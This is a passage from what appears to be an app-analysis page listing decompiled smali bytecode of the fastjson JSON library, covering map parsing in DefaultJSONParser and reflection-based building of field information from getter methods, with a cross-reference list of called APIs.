                                                760invoke-virtual {v1, v5, v10}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->parseArray(Ljava/util/Collection;Ljava/lang/Object;)V
                                                762sget-object v6, Lcom/alibaba/fastjson/parser/Feature;->UseObjectArray:Lcom/alibaba/fastjson/parser/Feature;
                                                764invoke-interface {v3, v6}, Lcom/alibaba/fastjson/parser/JSONLexer;->isEnabled(Lcom/alibaba/fastjson/parser/Feature;)Z
                                                765move-result v6
                                                766if-eqz v6, :cond_448
                                                768invoke-virtual {v5}, Lcom/alibaba/fastjson/JSONArray;->toArray()[Ljava/lang/Object;
                                                769move-result-object v5
                                                770cond_448:
                                                771invoke-interface {v0, v10, v5}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                773invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                774move-result v5
                                                775const/16 v6, 0xd
                                                776if-ne v5, v6, :cond_45a
                                                778invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->nextToken()V
                                                779try_end_456:
                                                780invoke-virtual {v1, v9}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->setContext(Lcom/alibaba/fastjson/parser/ParseContext;)V
                                                781return-object v0
                                                782try_start_45a:
                                                783invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                784move-result v5
                                                785const/16 v6, 0x10
                                                786if-ne v5, v6, :cond_463
                                                787goto/16 :goto_3e7
                                                788cond_463: new-instance v0, Lcom/alibaba/fastjson/JSONException;
                                                790invoke-direct {v0, v8}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                791throw v0
                                                792cond_469: const/16 v6, 0x7b
                                                793if-ne v5, v6, :cond_51d
                                                795invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->nextToken()V
                                                796if-eqz v2, :cond_47c
                                                798invoke-virtual/range {p2 .. p2}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                799move-result-object v5
                                                800const-class v6, Ljava/lang/Integer;
                                                801if-ne v5, v6, :cond_47c
                                                802const/4 v5, 0x1
                                                803goto/16 :goto_47d
                                                804cond_47c: const/4 v5, 0x0
                                                805goto_47d: new-instance v6, Lcom/alibaba/fastjson/JSONObject;
                                                807sget-object v7, Lcom/alibaba/fastjson/parser/Feature;->OrderedField:Lcom/alibaba/fastjson/parser/Feature;
                                                809invoke-interface {v3, v7}, Lcom/alibaba/fastjson/parser/JSONLexer;->isEnabled(Lcom/alibaba/fastjson/parser/Feature;)Z
                                                810move-result v7
                                                812invoke-direct {v6, v7}, Lcom/alibaba/fastjson/JSONObject;-><init>(Z)V
                                                813if-nez v5, :cond_48f
                                                815invoke-virtual {v1, v9, v6, v10}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->setContext(Lcom/alibaba/fastjson/parser/ParseContext;Ljava/lang/Object;Ljava/lang/Object;)Lcom/alibaba/fastjson/parser/ParseContext;
                                                816move-result-object v7
                                                817goto/16 :goto_490
                                                818cond_48f: const/4 v7, 0x0
                                                819goto_490:
                                                820iget-object v8, v1, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->fieldTypeResolver:Lcom/alibaba/fastjson/parser/deserializer/FieldTypeResolver;
                                                821if-eqz v8, :cond_4af
                                                822if-eqz v10, :cond_49b
                                                824invoke-virtual {v10}, Ljava/lang/Object;->toString()Ljava/lang/String;
                                                825move-result-object v8
                                                826goto/16 :goto_49c
                                                827cond_49b: const/4 v8, 0x0
                                                828goto_49c:
                                                829iget-object v11, v1, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->fieldTypeResolver:Lcom/alibaba/fastjson/parser/deserializer/FieldTypeResolver;
                                                831invoke-interface {v11, v0, v8}, Lcom/alibaba/fastjson/parser/deserializer/FieldTypeResolver;->resolve(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/reflect/Type;
                                                832move-result-object v8
                                                833if-eqz v8, :cond_4af
                                                835iget-object v11, v1, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->config:Lcom/alibaba/fastjson/parser/ParserConfig;
                                                837invoke-virtual {v11, v8}, Lcom/alibaba/fastjson/parser/ParserConfig;->getDeserializer(Ljava/lang/reflect/Type;)Lcom/alibaba/fastjson/parser/deserializer/ObjectDeserializer;
                                                838move-result-object v11
                                                840invoke-interface {v11, v1, v8, v10}, Lcom/alibaba/fastjson/parser/deserializer/ObjectDeserializer;->deserialze(Lcom/alibaba/fastjson/parser/DefaultJSONParser;Ljava/lang/reflect/Type;Ljava/lang/Object;)Ljava/lang/Object;
                                                841move-result-object v8
                                                842goto/16 :goto_4b1
                                                843cond_4af: const/4 v8, 0x0
                                                844const/4 v15, 0x0
                                                845goto_4b1: if-nez v15, :cond_4b7
                                                847invoke-virtual {v1, v6, v10}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->parseObject(Ljava/util/Map;Ljava/lang/Object;)Ljava/lang/Object;
                                                848move-result-object v8
                                                849cond_4b7: if-eqz v7, :cond_4bd
                                                850if-eq v6, v8, :cond_4bd
                                                851iput-object v0, v7, Lcom/alibaba/fastjson/parser/ParseContext;->object:Ljava/lang/Object;
                                                852cond_4bd:
                                                853invoke-virtual {v10}, Ljava/lang/Object;->toString()Ljava/lang/String;
                                                854move-result-object v6
                                                856invoke-virtual {v1, v0, v6}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->checkMapResolve(Ljava/util/Map;Ljava/lang/Object;)V
                                                858invoke-virtual/range {p1 .. p1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                859move-result-object v6
                                                860const-class v7, Lcom/alibaba/fastjson/JSONObject;
                                                861if-ne v6, v7, :cond_4d4
                                                863invoke-virtual {v10}, Ljava/lang/Object;->toString()Ljava/lang/String;
                                                864move-result-object v6
                                                866invoke-interface {v0, v6, v8}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                867goto/16 :goto_4d7
                                                868cond_4d4:
                                                869invoke-interface {v0, v10, v8}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                870goto_4d7: if-eqz v5, :cond_4dc
                                                872invoke-virtual {v1, v8, v10}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->setContext(Ljava/lang/Object;Ljava/lang/Object;)Lcom/alibaba/fastjson/parser/ParseContext;
                                                873cond_4dc:
                                                874invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                875move-result v6
                                                876const/16 v7, 0xd
                                                877if-ne v6, v7, :cond_4ee
                                                879invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->nextToken()V
                                                881invoke-virtual {v1, v9}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->setContext(Lcom/alibaba/fastjson/parser/ParseContext;)V
                                                882try_end_4ea:
                                                883invoke-virtual {v1, v9}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->setContext(Lcom/alibaba/fastjson/parser/ParseContext;)V
                                                884return-object v0
                                                885cond_4ee:
                                                886invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                887move-result v6
                                                888const/16 v7, 0x10
                                                889if-ne v6, v7, :cond_502
                                                890if-eqz v5, :cond_4fd
                                                892invoke-virtual/range {p0 .. p0}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->popContext()V
                                                893goto/16 :goto_3e7
                                                894cond_4fd:
                                                895invoke-virtual {v1, v9}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->setContext(Lcom/alibaba/fastjson/parser/ParseContext;)V
                                                896goto/16 :goto_3e7
                                                897cond_502: new-instance v0, Lcom/alibaba/fastjson/JSONException;
                                                898new-instance v2, Ljava/lang/StringBuilder;
                                                900invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                902const-string v4, "syntax error, "
                                                904invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                906invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->tokenName()Ljava/lang/String;
                                                907move-result-object v3
                                                909invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                911invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                912move-result-object v2
                                                914invoke-direct {v0, v2}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                915throw v0
                                                916cond_51d:
                                                917invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->nextToken()V
                                                919invoke-virtual/range {p0 .. p0}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->parse()Ljava/lang/Object;
                                                920move-result-object v5
                                                922invoke-virtual/range {p1 .. p1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                923move-result-object v6
                                                924const-class v7, Lcom/alibaba/fastjson/JSONObject;
                                                925if-ne v6, v7, :cond_530
                                                927invoke-virtual {v10}, Ljava/lang/Object;->toString()Ljava/lang/String;
                                                928move-result-object v10
                                                929cond_530:
                                                930invoke-interface {v0, v10, v5}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                932invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                933move-result v5
                                                934const/16 v6, 0xd
                                                935if-ne v5, v6, :cond_542
                                                937invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->nextToken()V
                                                938try_end_53e:
                                                939invoke-virtual {v1, v9}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->setContext(Lcom/alibaba/fastjson/parser/ParseContext;)V
                                                940return-object v0
                                                941cond_542:
                                                942invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                943move-result v5
                                                944const/16 v7, 0x10
                                                945if-ne v5, v7, :cond_54d
                                                946goto_54a: const/4 v5, 0x0
                                                947goto/16 :goto_210
                                                948cond_54d: new-instance v0, Lcom/alibaba/fastjson/JSONException;
                                                949new-instance v2, Ljava/lang/StringBuilder;
                                                951invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                953const-string v4, "syntax error, position at "
                                                955invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                957invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->pos()I
                                                958move-result v3
                                                960invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                962invoke-virtual {v2, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                964invoke-virtual {v2, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                966invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                967move-result-object v2
                                                969invoke-direct {v0, v2}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                970throw v0
                                                971cond_56e: new-instance v0, Lcom/alibaba/fastjson/JSONException;
                                                973invoke-direct {v0, v8}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                974throw v0
                                                975cond_574: new-instance v0, Lcom/alibaba/fastjson/JSONException;
                                                977invoke-direct {v0, v8}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                978throw v0
                                                979catchall_57a: move-exception v0
                                                981invoke-virtual {v1, v9}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->setContext(Lcom/alibaba/fastjson/parser/ParseContext;)V
                                                982goto/16 :goto_580
                                                983goto_57f: throw v0
                                                984goto_580: goto/16 :goto_57f
                                                Cross References
                                                APIs
                                                • java.util.LinkedHashMap.<init>
                                                • java.lang.Class.getMethods
                                                • java.lang.reflect.Method.getName
                                                • java.lang.reflect.Method.getModifiers
                                                • java.lang.reflect.Modifier.isStatic
                                                • java.lang.reflect.Method.getReturnType
                                                • java.lang.Void.TYPE:Ljava/lang/Class
                                                • java.lang.Object.equals
                                                • java.lang.reflect.Method.getParameterTypes
                                                • java.lang.reflect.Method.getReturnType
                                                • java.lang.reflect.Method.getName
                                                • java.lang.String.equals
                                                • java.lang.reflect.Method.getReturnType
                                                • java.lang.Class.getName
                                                • java.lang.String.equals
                                                • java.lang.reflect.Method.getAnnotation
                                                • com.alibaba.fastjson.serializer.SerializerFeature.of
                                                • com.alibaba.fastjson.parser.Feature.of
                                                • java.lang.String.length
                                                • java.util.Map.get
                                                • java.util.Map.put
                                                • java.lang.String.length
                                                • java.lang.String.startsWith
                                                • java.lang.String.length
                                                • java.lang.String.equals
                                                • java.lang.String.charAt
                                                • java.lang.Character.isUpperCase
                                                • java.lang.String.substring
                                                • java.lang.String.substring
                                                • java.lang.String.length
                                                • java.lang.String.charAt
                                                • java.lang.Character.isUpperCase
                                                • java.lang.String.substring
                                                • java.lang.String.substring
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.String.charAt
                                                • java.lang.Character.toLowerCase
                                                • java.lang.StringBuilder.append
                                                • java.lang.String.substring
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.String.length
                                                • java.lang.String.charAt
                                                • java.lang.String.substring
                                                • java.lang.reflect.Field.getAnnotation
                                                • com.alibaba.fastjson.serializer.SerializerFeature.of
                                                • com.alibaba.fastjson.parser.Feature.of
                                                • java.lang.String.length
                                                • java.util.Map.get
                                                • java.lang.String.length
                                                • java.util.Map.get
                                                • com.alibaba.fastjson.PropertyNamingStrategy.translate
                                                • java.util.Map.put
                                                • java.lang.String.startsWith
                                                • java.lang.String.length
                                                • java.lang.reflect.Method.getReturnType
                                                • java.lang.Boolean.TYPE:Ljava/lang/Class
                                                • java.lang.reflect.Method.getReturnType
                                                • java.lang.String.charAt
                                                • java.lang.Character.isUpperCase
                                                • java.lang.String.substring
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.String.charAt
                                                • java.lang.Character.toLowerCase
                                                • java.lang.StringBuilder.append
                                                • java.lang.String.substring
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.String.substring
                                                • java.lang.String.substring
                                                • java.lang.reflect.Field.getAnnotation
                                                • com.alibaba.fastjson.serializer.SerializerFeature.of
                                                • com.alibaba.fastjson.parser.Feature.of
                                                • java.lang.String.length
                                                • java.util.Map.get
                                                • java.lang.String.length
                                                • java.util.Map.get
                                                • com.alibaba.fastjson.PropertyNamingStrategy.translate
                                                • java.util.Map.containsKey
                                                • java.util.Map.put
                                                • java.lang.Class.getFields
                                                • java.lang.reflect.Field.getModifiers
                                                • java.lang.reflect.Modifier.isStatic
                                                • java.lang.reflect.Field.getAnnotation
                                                • java.lang.reflect.Field.getName
                                                • com.alibaba.fastjson.serializer.SerializerFeature.of
                                                • com.alibaba.fastjson.parser.Feature.of
                                                • java.lang.String.length
                                                • java.lang.String.length
                                                • java.util.Map.get
                                                • com.alibaba.fastjson.PropertyNamingStrategy.translate
                                                • java.util.Map.containsKey
                                                • java.util.Map.put
                                                • java.util.ArrayList.<init>
                                                • java.lang.Class.getAnnotation
                                                • java.util.Map.size
                                                • java.util.Map.containsKey
                                                • java.util.Map.get
                                                • java.util.List.add
                                                • java.util.Map.values
                                                • java.util.Collection.iterator
                                                • java.util.Iterator.hasNext
                                                • java.util.Iterator.next
                                                • java.util.List.add
                                                • java.util.Collections.sort
                                                Strings
                                                • getMetaClass
                                                • groovy.lang.MetaClass
                                                • get
                                                • getClass
                                                • is
                                                Position Instruction Meta Information
                                                0.annotation system Ldalvik/annotation/Signature;
                                                1value = {
                                                2"(",
                                                3"Ljava/lang/Class<",
                                                4"*>;",
                                                5"Lcom/alibaba/fastjson/annotation/JSONType;",
                                                6"Ljava/util/Map<",
                                                7"Ljava/lang/String;",
                                                8"Ljava/lang/String;",
                                                9">;",
                                                10"Ljava/util/Map<",
                                                11"Ljava/lang/String;",
                                                12"Ljava/lang/reflect/Field;",
                                                13">;Z",
                                                14"Lcom/alibaba/fastjson/PropertyNamingStrategy;",
                                                15")",
                                                16"Ljava/util/List<",
                                                17"Lcom/alibaba/fastjson/util/FieldInfo;",
                                                18">;"
                                                19}
                                                20.end annotation
                                                21move-object/from16 v12, p0
                                                22move-object/from16 v13, p2
                                                23move-object/from16 v14, p3
                                                24move-object/from16 v15, p5
                                                25new-instance v11, Ljava/util/LinkedHashMap;
                                                27invoke-direct {v11}, Ljava/util/LinkedHashMap;-><init>()V
                                                29invoke-virtual/range {p0 .. p0}, Ljava/lang/Class;->getMethods()[Ljava/lang/reflect/Method;
                                                30move-result-object v10
                                                31array-length v9, v10
                                                32const/16 v16, 0x0
                                                33const/4 v8, 0x0
                                                34goto_15: const/16 v17, 0x0
                                                35const/4 v7, 0x1
                                                36if-ge v8, v9, :cond_39a
                                                37aget-object v6, v10, v8
                                                39invoke-virtual {v6}, Ljava/lang/reflect/Method;->getName()Ljava/lang/String;
                                                40move-result-object v5
                                                41const/16 v18, 0x0
                                                43invoke-virtual {v6}, Ljava/lang/reflect/Method;->getModifiers()I
                                                44move-result v0
                                                46invoke-static {v0}, Ljava/lang/reflect/Modifier;->isStatic(I)Z
                                                47move-result v0
                                                48if-eqz v0, :cond_37
                                                49goto_2c: move/from16 v26, v8
                                                50move/from16 v27, v9
                                                51move-object/from16 v28, v10
                                                52move-object v14, v11
                                                53move-object v12, v13
                                                54move-object v13, v15
                                                55goto/16 :goto_38b
                                                56cond_37:
                                                57invoke-virtual {v6}, Ljava/lang/reflect/Method;->getReturnType()Ljava/lang/Class;
                                                58move-result-object v0
                                                60sget-object v1, Ljava/lang/Void;->TYPE:Ljava/lang/Class;
                                                62invoke-virtual {v0, v1}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
                                                63move-result v0
                                                64if-eqz v0, :cond_44
                                                65goto/16 :goto_2c
                                                66cond_44:
                                                67invoke-virtual {v6}, Ljava/lang/reflect/Method;->getParameterTypes()[Ljava/lang/Class;
                                                68move-result-object v0
                                                69array-length v0, v0
                                                70if-eqz v0, :cond_4c
                                                71goto/16 :goto_2c
                                                72cond_4c:
                                                73invoke-virtual {v6}, Ljava/lang/reflect/Method;->getReturnType()Ljava/lang/Class;
                                                74move-result-object v0
                                                75const-class v1, Ljava/lang/ClassLoader;
                                                76if-ne v0, v1, :cond_55
                                                77goto/16 :goto_2c
                                                78cond_55:
                                                79invoke-virtual {v6}, Ljava/lang/reflect/Method;->getName()Ljava/lang/String;
                                                80move-result-object v0
                                                82const-string v1, "getMetaClass"
                                                84invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                85move-result v0
                                                86if-eqz v0, :cond_72
                                                88invoke-virtual {v6}, Ljava/lang/reflect/Method;->getReturnType()Ljava/lang/Class;
                                                89move-result-object v0
                                                91invoke-virtual {v0}, Ljava/lang/Class;->getName()Ljava/lang/String;
                                                92move-result-object v0
                                                94const-string v1, "groovy.lang.MetaClass"
                                                96invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                97move-result v0
                                                98if-eqz v0, :cond_72
                                                99goto/16 :goto_2c
                                                100cond_72: const-class v0, Lcom/alibaba/fastjson/annotation/JSONField;
                                                102invoke-virtual {v6, v0}, Ljava/lang/reflect/Method;->getAnnotation(Ljava/lang/Class;)Ljava/lang/annotation/Annotation;
                                                103move-result-object v0
                                                104check-cast v0, Lcom/alibaba/fastjson/annotation/JSONField;
                                                105if-nez v0, :cond_80
                                                107invoke-static {v12, v6}, Lcom/alibaba/fastjson/util/TypeUtils;->getSuperMethodAnnotation(Ljava/lang/Class;Ljava/lang/reflect/Method;)Lcom/alibaba/fastjson/annotation/JSONField;
                                                108move-result-object v0
                                                109cond_80: move-object/from16 v19, v0
                                                110if-eqz v19, :cond_101
                                                112invoke-interface/range {v19 .. v19}, Lcom/alibaba/fastjson/annotation/JSONField;->serialize()Z
                                                113move-result v0
                                                114if-nez v0, :cond_8b
                                                115goto/16 :goto_2c
                                                116cond_8b:
                                                117invoke-interface/range {v19 .. v19}, Lcom/alibaba/fastjson/annotation/JSONField;->ordinal()I
                                                118move-result v20
                                                120invoke-interface/range {v19 .. v19}, Lcom/alibaba/fastjson/annotation/JSONField;->serialzeFeatures()[Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                121move-result-object v0
                                                123invoke-static {v0}, Lcom/alibaba/fastjson/serializer/SerializerFeature;->of([Lcom/alibaba/fastjson/serializer/SerializerFeature;)I
                                                124move-result v21
                                                126invoke-interface/range {v19 .. v19}, Lcom/alibaba/fastjson/annotation/JSONField;->parseFeatures()[Lcom/alibaba/fastjson/parser/Feature;
                                                127move-result-object v0
                                                129invoke-static {v0}, Lcom/alibaba/fastjson/parser/Feature;->of([Lcom/alibaba/fastjson/parser/Feature;)I
                                                130move-result v22
                                                132invoke-interface/range {v19 .. v19}, Lcom/alibaba/fastjson/annotation/JSONField;->name()Ljava/lang/String;
                                                133move-result-object v0
                                                135invoke-virtual {v0}, Ljava/lang/String;->length()I
                                                136move-result v0
                                                137if-eqz v0, :cond_eb
                                                139invoke-interface/range {v19 .. v19}, Lcom/alibaba/fastjson/annotation/JSONField;->name()Ljava/lang/String;
                                                140move-result-object v0
                                                141if-eqz v13, :cond_b9
                                                143invoke-interface {v13, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                144move-result-object v0
                                                145check-cast v0, Ljava/lang/String;
                                                146if-nez v0, :cond_b9
                                                147goto/16 :goto_2c
                                                148cond_b9: move-object v7, v0
                                                149new-instance v5, Lcom/alibaba/fastjson/util/FieldInfo;
                                                150const/4 v3, 0x0
                                                151const/16 v17, 0x0
                                                152const/16 v23, 0x0
                                                153move-object v0, v5
                                                154move-object v1, v7
                                                155move-object v2, v6
                                                156move-object/from16 v4, p0
                                                157move-object v6, v5
                                                158move-object/from16 v5, v17
                                                159move-object/from16 v24, v6
                                                160move/from16 v6, v20
                                                161move-object/from16 v25, v7
                                                162move/from16 v7, v21
                                                163move/from16 v26, v8
                                                164move/from16 v8, v22
                                                165move/from16 v27, v9
                                                166move-object/from16 v9, v19
                                                167move-object/from16 v28, v10
                                                168move-object/from16 v10, v23
                                                169move-object v15, v11
                                                170move-object/from16 v11, v18
                                                172invoke-direct/range {v0 .. v11}, Lcom/alibaba/fastjson/util/FieldInfo;-><init>(Ljava/lang/String;Ljava/lang/reflect/Method;Ljava/lang/reflect/Field;Ljava/lang/Class;Ljava/lang/reflect/Type;IIILcom/alibaba/fastjson/annotation/JSONField;Lcom/alibaba/fastjson/annotation/JSONField;Ljava/lang/String;)V
                                                173move-object/from16 v0, v24
                                                174move-object/from16 v1, v25
                                                176invoke-interface {v15, v1, v0}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                177goto/16 :goto_122
                                                178cond_eb: move/from16 v26, v8
                                                179move/from16 v27, v9
                                                180move-object/from16 v28, v10
                                                181move-object v15, v11
                                                183invoke-interface/range {v19 .. v19}, Lcom/alibaba/fastjson/annotation/JSONField;->label()Ljava/lang/String;
                                                184move-result-object v0
                                                186invoke-virtual {v0}, Ljava/lang/String;->length()I
                                                187move-result v0
                                                188if-eqz v0, :cond_10e
                                                190invoke-interface/range {v19 .. v19}, Lcom/alibaba/fastjson/annotation/JSONField;->label()Ljava/lang/String;
                                                191move-result-object v18
                                                192goto/16 :goto_10e
                                                193cond_101: move/from16 v26, v8
                                                194move/from16 v27, v9
                                                195move-object/from16 v28, v10
                                                196move-object v15, v11
                                                197const/16 v20, 0x0
                                                198const/16 v21, 0x0
                                                199const/16 v22, 0x0
                                                200goto_10e:
                                                201const-string v0, "get"
                                                203invoke-virtual {v5, v0}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                                                204move-result v0
                                                205const/16 v11, 0x66
                                                206const/16 v10, 0x5f
                                                207const/4 v9, 0x3
                                                208if-eqz v0, :cond_26a
                                                210invoke-virtual {v5}, Ljava/lang/String;->length()I
                                                211move-result v0
                                                212const/4 v1, 0x4
                                                213if-ge v0, v1, :cond_128
                                                214goto_122: move-object v12, v13
                                                215move-object v14, v15
                                                216move-object/from16 v13, p5
                                                217goto/16 :goto_38b
                                                218cond_128:
                                                219const-string v0, "getClass"
                                                221invoke-virtual {v5, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                222move-result v0
                                                223if-eqz v0, :cond_131
                                                224goto/16 :goto_122
                                                225cond_131:
                                                226invoke-virtual {v5, v9}, Ljava/lang/String;->charAt(I)C
                                                227move-result v0
                                                229invoke-static {v0}, Ljava/lang/Character;->isUpperCase(C)Z
                                                230move-result v2
                                                231if-nez v2, :cond_168
                                                232const/16 v2, 0x200
                                                233if-le v0, v2, :cond_140
                                                234goto/16 :goto_168
                                                235cond_140: if-ne v0, v10, :cond_147
                                                237invoke-virtual {v5, v1}, Ljava/lang/String;->substring(I)Ljava/lang/String;
                                                238move-result-object v0
                                                239goto/16 :goto_194
                                                240cond_147: if-ne v0, v11, :cond_14e
                                                242invoke-virtual {v5, v9}, Ljava/lang/String;->substring(I)Ljava/lang/String;
                                                243move-result-object v0
                                                244goto/16 :goto_194
                                                245cond_14e:
                                                246invoke-virtual {v5}, Ljava/lang/String;->length()I
                                                247move-result v0
                                                248const/4 v2, 0x5
                                                249if-lt v0, v2, :cond_122
                                                251invoke-virtual {v5, v1}, Ljava/lang/String;->charAt(I)C
                                                252move-result v0
                                                254invoke-static {v0}, Ljava/lang/Character;->isUpperCase(C)Z
                                                255move-result v0
                                                256if-eqz v0, :cond_122
                                                258invoke-virtual {v5, v9}, Ljava/lang/String;->substring(I)Ljava/lang/String;
                                                259move-result-object v0
                                                261invoke-static {v0}, Lcom/alibaba/fastjson/util/TypeUtils;->decapitalize(Ljava/lang/String;)Ljava/lang/String;
                                                262move-result-object v0
                                                263goto/16 :goto_194
                                                264goto_168: sget-boolean v0, Lcom/alibaba/fastjson/util/TypeUtils;->compatibleWithJavaBean:Z
                                                265if-eqz v0, :cond_175
                                                267invoke-virtual {v5, v9}, Ljava/lang/String;->substring(I)Ljava/lang/String;
                                                268move-result-object v0
                                                270invoke-static {v0}, Lcom/alibaba/fastjson/util/TypeUtils;->decapitalize(Ljava/lang/String;)Ljava/lang/String;
                                                271move-result-object v0
                                                272goto/16 :goto_190
                                                273cond_175: new-instance v0, Ljava/lang/StringBuilder;
                                                275invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                277invoke-virtual {v5, v9}, Ljava/lang/String;->charAt(I)C
                                                278move-result v2
                                                280invoke-static {v2}, Ljava/lang/Character;->toLowerCase(C)C
                                                281move-result v2
                                                283invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
                                                285invoke-virtual {v5, v1}, Ljava/lang/String;->substring(I)Ljava/lang/String;
                                                286move-result-object v1
                                                288invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                290invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                291move-result-object v0
                                                292goto_190:
                                                293invoke-static {v14, v5, v0, v9}, Lcom/alibaba/fastjson/util/TypeUtils;->getPropertyNameByCompatibleFieldName(Ljava/util/Map;Ljava/lang/String;Ljava/lang/String;I)Ljava/lang/String;
                                                294move-result-object v0
                                                295goto_194:
                                                296invoke-static {v12, v0}, Lcom/alibaba/fastjson/util/TypeUtils;->isJSONTypeIgnore(Ljava/lang/Class;Ljava/lang/String;)Z
                                                297move-result v1
                                                298if-eqz v1, :cond_19b
                                                299goto_19a: goto/16 :goto_122
                                                300cond_19b:
                                                301invoke-static {v0, v14}, Lcom/alibaba/fastjson/parser/ParserConfig;->getFieldFromCache(Ljava/lang/String;Ljava/util/Map;)Ljava/lang/reflect/Field;
                                                302move-result-object v1
                                                303if-nez v1, :cond_1bf
                                                305invoke-virtual {v0}, Ljava/lang/String;->length()I
                                                306move-result v2
                                                307if-le v2, v7, :cond_1bf
                                                309invoke-virtual {v0, v7}, Ljava/lang/String;->charAt(I)C
                                                310move-result v2
                                                311const/16 v3, 0x41
                                                312if-lt v2, v3, :cond_1bf
                                                313const/16 v3, 0x5a
                                                314if-gt v2, v3, :cond_1bf
                                                316invoke-virtual {v5, v9}, Ljava/lang/String;->substring(I)Ljava/lang/String;
                                                317move-result-object v1
                                                319invoke-static {v1}, Lcom/alibaba/fastjson/util/TypeUtils;->decapitalize(Ljava/lang/String;)Ljava/lang/String;
                                                320move-result-object v1
                                                322invoke-static {v1, v14}, Lcom/alibaba/fastjson/parser/ParserConfig;->getFieldFromCache(Ljava/lang/String;Ljava/util/Map;)Ljava/lang/reflect/Field;
                                                323move-result-object v1
                                                324cond_1bf: move-object v3, v1
                                                325if-eqz v3, :cond_226
                                                326const-class v1, Lcom/alibaba/fastjson/annotation/JSONField;
                                                328invoke-virtual {v3, v1}, Ljava/lang/reflect/Field;->getAnnotation(Ljava/lang/Class;)Ljava/lang/annotation/Annotation;
                                                329move-result-object v1
                                                330check-cast v1, Lcom/alibaba/fastjson/annotation/JSONField;
                                                331if-eqz v1, :cond_223
                                                333invoke-interface {v1}, Lcom/alibaba/fastjson/annotation/JSONField;->serialize()Z
                                                334move-result v2
                                                335if-nez v2, :cond_1d4
                                                336goto/16 :goto_122
                                                337cond_1d4:
                                                338invoke-interface {v1}, Lcom/alibaba/fastjson/annotation/JSONField;->ordinal()I
